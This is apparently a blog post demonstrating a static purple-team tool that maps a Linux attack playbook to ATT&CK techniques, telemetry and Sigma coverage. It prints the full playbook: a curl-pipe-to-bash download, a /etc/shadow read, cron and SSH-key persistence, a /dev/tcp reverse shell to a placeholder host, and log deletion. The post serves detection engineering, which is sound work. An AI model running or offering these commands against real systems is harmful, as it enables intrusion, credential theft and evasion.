A red team playbook is a list of commands. A blue team ruleset is a list of detections. The purple team exercise is the slow, manual work of lining the two up: for each thing the operator did, which technique was it, what did the sensor record, and did anything fire?

opseclint does that first pass statically, before anyone touches a lab. You hand it a script, and for every action it returns the MITRE ATT&CK technique, the host telemetry it should produce, the Sigma rules that cover it, and a 0 to 100 detectability score. It answers one question: what would a defender see?

This post runs one realistic Linux playbook through it, start to finish, including the part where the tool itself turned out to be wrong.

The scenario: web server foothold to persistence

The operator has landed as www-data on an Ubuntu web server through a vulnerable upload form. (It's a made-up lab scenario.) From there the plan is the usual arc: look around, pull tools, escalate and grab credentials, dig in, call home, and clean up. Every IP is in 198.51.100.0/24, a documentation range, so nothing here points at a real host.

#!/bin/bash # Purple team exercise: "Web server foothold to persistence" # Lab only. 198.51.100.0/24 is TEST-NET-2 (documentation range). # 1. Situational awareness id uname -a cat /etc/os-release ps aux # 2. Discovery cat /etc/passwd find / -perm -4000 -type f 2>/dev/null ss -tulpn # 3. Tool ingress curl -s http://198.51.100.10/linpeas.sh | bash wget -q http://198.51.100.10/chisel -O /tmp/.cache/chisel chmod +x /tmp/.cache/chisel # 4. Credential access (after privesc) cat /etc/shadow grep -ri password /var/www/html/config.php # 5. Persistence echo '* * * * * root /tmp/.cache/chisel client 198.51.100.10:8443 R:socks' > /etc/cron.d/sysupdate echo 'ssh-ed25519 AAAAC3Nza...lab operator@redteam' >> /root/.ssh/authorized_keys useradd -m -s /bin/bash svc-backup # 6. Command and control bash -i >& /dev/tcp/198.51.100.10/4444 0>&1 # 7. Cleanup history -c rm -f /var/log/auth.log 

Nothing is executed. opseclint parses the script, so you can run it on a laptop against a playbook you haven't tested yet.

Step 1: techniques, telemetry, and a score for every line

$ opseclint webshell-to-root.sh 

The 18 commands produce 21 findings, ranked loudest first. Here are the top three, exactly as printed:

opseclint · detection-coverage · linux-auditd 18 lines · 21 findings · loudest ● CRITICAL (85) ──────────────────────────────────────────────────────────── ● CRITICAL 85 L23 Access to /etc/shadow — password hash exposure ├ T1003.008 OS Credential Dumping: /etc/passwd and /etc/shadow ├ ◈ openat() of /etc/shadow — high-signal auditd file watch ├ ◈ read by process not running as auth stack └ ◆ Sigma: Access to /etc/shadow outside auth context (file_event_lnx) (high) ● CRITICAL 82 L32 Bash /dev/tcp reverse shell — interactive C2 channel ├ T1059.004 Command and Scripting Interpreter: Unix Shell · T1071 Application Layer Protocol ├ ◈ bash execve() followed by connect() to attacker IP ├ ◈ stdin/stdout/stderr duped to a socket fd └ ◆ Sigma: Suspicious Reverse Shell Command Line (linux); the rule matches known one-liners, not /dev/tcp in general (high) ● CRITICAL 80 L18 Piping downloaded content directly into a shell interpreter ├ T1059.004 Command and Scripting Interpreter: Unix Shell · T1105 Ingress Tool Transfer ├ ◈ shell process with network-client parent (curl/wget) in the process tree 

Each finding reads as a small purple-team card. The first line is the action and its score. The T line is the ATT&CK mapping, the ◈ lines are what auditd or an EDR should record, and the ◆ line is the detection that ought to catch it. Notice the curl | bash finding has no ◆ line at all. That's deliberate: the knowledge base only claims a rule where a published one exists.

The score is a 0 to 100 estimate of how loud the action is: 0 to 24 LOW, 25 to 49 MEDIUM, 50 to 74 HIGH, 75 and up CRITICAL. Across the whole playbook it lands like this:

Phase Loudest action Technique Score
Credential access cat /etc/shadow T1003.008 85
Command and control /dev/tcp reverse shell T1059.004, T1071 82
Tool ingress `curl … \ bash` T1059.004, T1105
Cleanup history -c T1070.003 78
Persistence authorized_keys append T1098.004 72
Discovery cat /etc/passwd, find -perm -4000 T1087.001, T1548.001 55
Situational awareness id T1033 45

The recon at the top of the script is the quiet part (30 to 45). Everything after the operator gets root is HIGH or CRITICAL. For a red team lead, that's the noise budget of the plan, before anyone runs it.

Step 2: real Sigma rules, actually evaluated

The ◆ lines above come from opseclint's built-in knowledge base and are representative. To check against a real ruleset, point it at a SigmaHQ checkout and ask for the blind spots:

$ git clone --depth 1 https://github.com/SigmaHQ/sigma $ opseclint webshell-to-root.sh --sigma sigma/rules --coverage-gaps 
opseclint · coverage gaps · linux-auditd vs 253 rules ──────────────────────────────────────────────────────────── · NO-RULES L23 Access to /etc/shadow — password hash exposure [T1003.008] no rule in this ruleset covers its technique(s) ✓ COVERED L32 Bash /dev/tcp reverse shell — interactive C2 channel [T1059.004, T1071] fires: Suspicious Reverse Shell Command Line ✓ COVERED L18 Piping downloaded content directly into a shell interpreter [T1059.004, T1105] fires: Curl Usage on Linux · NO-RULES L28 Modification of SSH authorized_keys — persistence / account manipulation [T1098.004, T1547] no rule in this ruleset covers its technique(s) ? INDET L29 Local account creation — persistence [T1136.001] needs host fields to confirm ✓ COVERED L36 Deleting system logs under /var/log — log clearing (anti-forensics) [T1685.006] fires: Linux Logs Clearing Attempts ⚠ GAP L27 Writing to system cron locations — scheduled-task persistence [T1053.003] rule(s) exist for its technique(s), but none fire ... ──────────────────────────────────────────────────────────── summary ⚠ 1 gap · 16 covered · 2 indeterminate · 2 no-rules 

The output is trimmed to the interesting rows; the full run is 21 rows. Four verdicts matter:

  • COVERED means a real rule's detection logic matches this exact command. The reverse shell is caught by "Suspicious Reverse Shell Command Line".
  • GAP means rules exist for the technique but none match this command. The cron persistence line is the one gap: SigmaHQ has "New Cron File Created", but it keys on TargetFilename, which a command line can't supply.
  • INDET means a rule might match, but it needs a field a static tool can't see. opseclint says so instead of guessing.
  • NO-RULES means the ruleset has nothing tagged with that technique.

The most useful line for a blue team is the weakest one that still says COVERED. The curl | bash stage is "covered" only by "Curl Usage on Linux", a low-severity rule that fires on any curl. Covered on paper, likely buried in practice.

Step 3: when the tool is the thing that's wrong

That COVERED on the log-deletion line wasn't there when I started writing this post. The first run said NO-RULES. I didn't believe it, so I checked that one rule directly:

$ opseclint webshell-to-root.sh --check-rule sigma/rules/linux/process_creation/proc_creation_lnx_clear_logs.yml opseclint · rule check · Linux Logs Clearing Attempts (80915f59-9b56-4616-9de0-fd0dea6c12fe) ✓ FIRES L36 rm 

The rule fired. The coverage report missed it because of a tag. ATT&CK v19, released in April 2026, split Defense Evasion into two tactics and moved "Clear Linux or Mac System Logs" from T1070.002 to T1685.006. SigmaHQ retagged the rule. opseclint's knowledge base still said T1070.002, so the two never met.

The fix moved the knowledge base to current ATT&CK IDs and added a table of all 149 revoked IDs and their replacements, taken from MITRE's own data. A ruleset tagged the old way and one tagged the new way now land on the same technique. It ships in opseclint TODO-VERSION.

That's the same failure a real detection team hits after every ATT&CK release. Rules, dashboards, and coverage heat maps all key on technique IDs, and the IDs move. A coverage report is only as current as its mappings, and --check-rule is how you check the report.

Step 4: close the gap and gate the plan

For the one real GAP, opseclint will write a starting rule:

$ opseclint cron.sh --scaffold 
title: 'Writing to system cron locations (file event)' status: experimental tags: - attack.t1053.003 logsource: category: file_event product: linux detection: selection: TargetFilename|startswith: '/etc/cron.d' 

(Trimmed; the real output also has a process-creation variant and TODO fields for author and tactic.) It's a draft for a detection engineer to tighten, not a finished rule.

Finally, the score turns into a pipeline gate. Set an agreed threshold and the run fails when the plan is louder than that:

$ opseclint webshell-to-root.sh --ci --threshold 70 ... opseclint: CI gate failed — loudest action CRITICAL (>= threshold 70) $ echo $? 1 

--navigator exports the same findings as an ATT&CK Navigator layer, scored by detectability, for the debrief slide.

What the blue team takes away

From one script and two commands, the debrief already has an agenda:

  1. Write or tune a file-event rule for /etc/cron.d writes (the one true GAP).
  2. Decide whether "Curl Usage on Linux" is really the control for curl | bash, or whether a parent-child rule (shell spawned with a network client upstream) is needed.
  3. Find detections for /etc/shadow reads and authorized_keys changes, which the public ruleset doesn't tag at all.
  4. Confirm auditd actually has file watches on those paths, since most of the telemetry lines assume one.
  5. Remap anything still on pre-v19 ATT&CK IDs.

Then run the playbook in the lab and feed the real audit log back in with --telemetry audit.log --format auditd. That turns each predicted line into recorded proof, or shows where the prediction was wrong.

Limits, stated plainly

opseclint is static. It reads commands; it doesn't run them or see the host. A missing finding means nothing in the knowledge base matched, never that an action is quiet. INDETERMINATE is its own answer, not a soft "not detected". The ◆ lines without a --sigma checkout are representative, and the EDR mappings are too. And as Step 3 showed, its ATT&CK IDs can lag the framework until someone remaps them.

It's also not an evasion tool. It reports what an action looks like to a defender. It doesn't suggest quieter alternatives, and it was built that way on purpose.

Try it

cargo install opseclint # or: brew install ezekiellabs/tap/opseclint # or: docker run --rm ghcr.io/ezekiellabs/opseclint -c 'cat /etc/shadow' 

The repo is github.com/ezekiellabs/opseclint. Issues and coverage requests are welcome, especially from anyone who has watched one of these predictions meet a real sensor.